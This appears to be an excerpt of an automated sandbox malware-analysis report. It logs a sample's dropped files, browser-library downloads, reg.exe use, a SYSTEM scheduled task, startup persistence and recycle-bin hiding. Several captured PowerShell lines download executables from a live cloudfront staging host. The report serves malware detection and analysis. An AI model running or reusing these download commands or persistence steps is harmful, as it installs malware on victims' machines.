Source: msvcp140[1].dll.8.dr	Static PE information: section name: .didat
Source: nss3.dll.8.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.8.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.8.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.8.dr	Static PE information: section name: .00cfg
Source: i3.exe.9.dr	Static PE information: section name: .sxdata
Source: Install.exe.14.dr	Static PE information: section name: .GIU
Source: browser_broker.exe.14.dr	Static PE information: section name: .imrsiv
Source: notepad.exe.14.dr	Static PE information: section name: .didat

Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_0042786C push ecx; ret	6_2_0042787C
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_0042780C push eax; ret	6_2_0042782A
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_0042E3A5 push esi; ret	6_2_0042E3AE
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_00409D06 push ecx; ret	6_2_00409D19
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_004097B6 push ecx; ret	6_2_004097C9
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_040E9F6D push ecx; ret	6_2_040E9F80
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_040FC9FD push esp; retf	6_2_040FC9FE
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_040E9A1D push ecx; ret	6_2_040E9A30
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_04107A73 push eax; ret	6_2_04107A91
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_04107AD3 push ecx; ret	6_2_04107AE3
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_04101B72 push dword ptr [esp+ecx-75h]; iretd	6_2_04101B76
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_040FC3FF push esp; retf	6_2_040FC407
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_0418B633 push ebp; iretd	6_2_0418B666
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_041898AB push 2B991403h; ret	6_2_041898B2
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_0418A1D1 push 00000061h; retf	6_2_0418A1D9
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_04187313 pushad ; retf	6_2_04187314
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_041883A8 push ecx; iretd	6_2_041883AE
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_04189BC1 pushad ; retf	6_2_04189BC8
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_004176C5 push ecx; ret	8_2_004176D8
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCDB536 push ecx; ret	8_2_6BCDB549

Source: hmgv.12.dr

Static PE information: section name: .text entropy: 6.816444465715168

Persistence and Installation Behavior

Tries to download and execute files (via powershell)

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000','stat')"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=444', 'i2.bat')"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=456','i3.exe')"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000','stat')"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=444', 'i2.bat')"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=456','i3.exe')"	Jump to behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\conhost.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe

Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\System32\svchost.exe	File created: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\i3.exe	File created: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\browser_broker.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\i1.exe	File created: C:\Users\user\AppData\Local\Temp\u5do.2\relay.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\i3.exe	File created: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\RtkBtManServ.exe	Jump to dropped file
Source: C:\Windows\System32\svchost.exe	File created: C:\Users\user\AppData\Local\Temp\iolo\dm\BIT3C1E.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\i1.exe	File created: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\nsg4683.tmp\INetC.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File created: C:\Users\user\AppData\Local\Temp\JKJKJJDBKE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\i3.exe	File created: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\notepad.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	File created: C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\ySPgHoN.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	File created: C:\Users\user\AppData\Roaming\SecureClient\relay.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\hmgv	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\i1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\i3.exe	File created: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\i1.exe	File created: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\i1.exe	File created: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\tiktok[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\i1.exe	File created: C:\Users\user\AppData\Local\Temp\u5do.2\UIxMarketPlugin.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	File created: C:\Users\user\AppData\Roaming\SecureClient\UIxMarketPlugin.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\i3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe

File created: C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\ySPgHoN.exe

Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\hmgv

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "biPxHmULFllsbMgnpt" /SC once /ST 11:07:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe\" Wt /QQndidSCwP 385128 /S" /V1 /F

Source: C:\Windows\System32\svchost.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BIT3A58.tmp

Source: C:\Windows\SysWOW64\schtasks.exe

File created: C:\Windows\Tasks\biPxHmULFllsbMgnpt.job

Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\iolo Applications

Source: C:\Windows\System32\svchost.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BIT3A58.tmp

Hooking and other Techniques for Hiding and Protection

Creates files in the recycle bin to hide itself

Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe

File created: C:\$RECYCLE.BIN\S-1-5-18

Found hidden mapped module (file has been removed from disk)

Source: C:\Windows\SysWOW64\cmd.exe

Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\HMGV

Source: C:\Users\user\AppData\Local\Temp\i1.exe

Code function: 6_2_00408761 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

6_2_00408761

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
